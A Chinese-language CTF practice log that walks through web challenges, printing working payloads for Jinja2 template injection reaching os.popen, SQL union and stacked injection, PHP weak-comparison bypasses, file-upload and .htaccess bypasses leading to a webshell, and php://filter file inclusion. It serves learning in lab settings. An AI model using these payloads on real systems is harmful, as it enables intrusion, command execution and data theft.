CTF刷题记录(二)

[第三章 web进阶]SSTI

输入正常数字回显数字

image-20220415184319900

输入运算语句回显结果,说明后台解析注入语句,了存在ssti模板注入漏洞

image-20220415184328517

ssti服务端模板注入

拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

漏洞原理:能够解析执行语句,因此能够写入命令行

password={{"".__class__.__bases__[0].__subclasses__()}}找可用于执行os命令的类os._wrap_close
image-20220415184459378

os.wrap_close在subclasses_()中是第127个函数

故构造

password={{"".__class__.__bases__[0].__subclasses__()[127]}},找到os._wrap_close
image-20220415184535002

再通过构造

password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}执行ls命令,查看目录
image-20220415184602056

再构造

password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls -F /app/').read()}}读取app目录下的文件,找到server.py
image-20220415184620383

再构造:

password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}获取整个server.py

抓包在burpsuite里更容易看,找到了flag

image-20220415184650597

[第三章 web进阶]逻辑漏洞

用户名:admin密码:admin登录进去之后,有商品,可以购买flag

image-20220415184719331

点击购买,不够钱

image-20220415184726084

购买别的商品,花费300

image-20220415185202087

购买多次之后,钱不够了,说明后台在计算剩余钱数

image-20220415185210458

推测计算公式为总数-cost,所以我们可以反向购买,使之变成总数-(-cost)=总数+cost,增加余额,达到需要的钱数

?cost=-300&goods=3

重复多次就空手套白狼,赚够钱了
image-20220415185244119

Linux Labs

image-20220415185340992

连接靶机,在目录下找到flag

image-20220415185350167

[GXYCTF2019]BabySQli

源码给出了提示,base32解码后base64解码得到查询的sql语句

image-20220415185406294
image-20220415185413070

根据语句构造playload:1’#回显 image-20220415185433907

说明存在注入漏洞

再构造1'oR 1>0#回显image-20220415185448715

admin ' ORder by 3#回显image-20220415185455748

admin' oRder by 4#回显image-20220415185503532

说明存在3个注入点,使用联合注入admin'UnION select 1,2,3#回显image-20220415185523801

name=admin'union select 1,'admin',3#&pw=1回显image-20220415185534180

说明2注入点为用户名

联合注入添加临时虚拟用户

union做查询时,查询的数据不存在,那么联合查询就会创建一个虚拟的数据存放在数据库中,也就是说可以构造一个不存在数据,就会创造一个虚拟的数据,构造playload:

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

'e10adc3949ba59abbe56e057f20f883e'即123456的MD5,注入语句在后台数据库中插入一个用户名为admin,密码为123456的数据,登录即得flag

image-20220415191059744

[ACTF2020 新生赛]BackupFile

题目有提示backupfile,也就是备份文件,尝试index.php.bak,下载备份文件,得到flag.php

image-20220415191254602

弱类型比较

1、 字符串和数字比较,字符串会转换为数字 admin-->0

2、混合字符串转换为数字,看字符串的第一个 1admin-->1  admin1-->0

3、字符串以xex开头(x表示数字),会被转换为科学计数法2e2=2*10^2=200  0e2=0e48=0

也就是说key=123就可以绕过key==str,playload:?key=123,得flag

image-20220415191348338

[极客大挑战 2019]BuyFlag

源码中的一些提示:

image-20220415191401932
image-20220415191407164

抓包后看到cookie里的user=0,改为1,即从假改为真,回显

image-20220415191414919

再根据条件上传钱和密码,密码存在弱类型比较,

playload:password=404a&money=10000000
image-20220415191422069

绕过了密码,但说钱太长了,改为科学计数

Playload:password=404a&money=1e9,得到flag
image-20220415191440479

[ACTF2020 新生赛]Upload

存在前端过滤

image-20220415191511501

把文件改成gif,抓包再改成php

image-20220415191522197

回显 image-20220415191532725

用phtml绕过php过滤,得到文件路径

image-20220415191552251

访问页面

image-20220415191602138

蚁剑连接,得到webshell,命令行寻找flag

image-20220415191615940

[MRCTF2020]你传你🐎呢

htaccess绕过:

构造一个把同名文件解析成php格式的htaccess文件

//把hack.png解析成php

<FilesMatch "hack.png">

SetHandler application/x-httpd-php

</FilesMatch>

上传htaccess文件,抓包修改类型为png

image-20220415191745173

再上传一个含有木马的假png,上传成功

image-20220415191753176

蚁剑连接,找到flag

[SUCTF 2019]EasySQL

抓包进行sql注入的fuzz测试

image-20220415191815733

被过滤部分,回显nonono

image-20220415191827267
image-20220415191834335

绕过这些语句和符号进行注入

采用堆叠注入

查库:

1;show databases;
image-20220415191912937

查表:

1;show tables;
image-20220415191925237

查flag里的数据:

1;show columns from Flag;

无法访问

image-20220415192015126

由于输入字母不回显,只有输入数字才回显

推测后台sql语句含有||(or),即select (注入语句)|| flag from Flag

构造*,1,即select *,1 || flag from Flag意思为select *,1 from Flag,即可显示所有内容
image-20220415192051097

[ACTF2020 新生赛]Include

提示:

image-20220415192105507

采用伪协议方法读取flag

构造:

file=php://filter/read=convert.base64-encode/resource=flag.php

返回flag.php的base64编码

image-20220415192127801

解密得flag

image-20220415192136925